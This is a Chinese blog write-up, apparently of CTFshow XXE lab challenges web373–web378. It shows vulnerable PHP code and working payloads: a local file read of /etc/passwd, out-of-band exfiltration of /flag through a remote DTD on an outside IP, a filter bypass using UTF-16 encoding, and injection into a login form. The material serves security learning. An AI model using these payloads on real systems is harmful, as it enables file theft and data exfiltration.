CTFSHOW-XXE


XXE

web373

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

libxml_disable_entity_loader(false); 这一句允许开启外部实体的加载

$ctfshow = $creds->ctfshow; 这里会将 ctfshow 节点的内容提取出来


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY marin SYSTEM "file:///etc/passwd">
]>
<root>
  <ctfshow>&marin;</ctfshow>
</root>

读取 flag 成功

image

web374

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里没有能输出的地方,感觉需要 ssrf 或者一些外带的手段

先上传一个

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
  %marin;
]>
<root>
1
</root>

在 vps 中写一个 dtd 文件,然后再启动一下服务,让外部能够访问这个文件

python3 -m http.server 8888

image

<!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://101.35.151.42:8080/%file;'> ">
%dtd;
%xxe;

然后要监听这个里面的端口,就能接收到 flag

image

整体的逻辑

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!-- 通过伪协议获取服务器中的文件 -->
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
	<!-- 引用自己的服务器上的 dtd 文件 -->
  <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
	<!-- 调用 dtd 文件加载进来 -->
	<!-- 这里是一个嵌套的,先调用 dtd 触发里面的另一个参数 -->
	<!-- 里面有一个 xxe 的参数,将前面获取的文件替换,然后会请求目标地址 -->
	<!-- 这里的 &#x25 就是 % 号 -->
  <!ENTITY % dtd "<!ENTITY % xxe  SYSTEM 'http://101.35.151.42:8080/%file;'> ">
	%dtd;
	%xxe;
]>
<root>
1
</root>

web375

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这个匹配前面的 xml

试试直接删除

image

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
  %marin;
]>
<root>
1
</root>

image

web376

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

和上一题一样的

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
  %marin;
]>
<root>
1
</root>

web377

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这里多禁用了 http

这里是看 wp 学习的,xml 文档的编码中,不仅支持 utf-8 编码,同时支持 utf-16 编码,使用脚本实现

import requests

url = "https://4e25f406-d37f-4095-9973-9f56cacb6599.challenge.ctf.show/"
payload = '''
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  <!ENTITY % marin SYSTEM "http://101.35.151.42:8888/1.dtd">
  %marin;
]>
<root>
1
</root>'''
payload = payload.encode('utf-16')
print(payload)
re = requests.post(url, data=payload)
print(re.text)

image

web378

一个神秘的登录框,提示是 python

查看源码

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

发现这里的 post 可以传入 xml ,感觉可以直接对着改

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY marin SYSTEM "file:///etc/passwd">
]>
<user><username>
&marin;
</username><password>123</password></user>

image


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录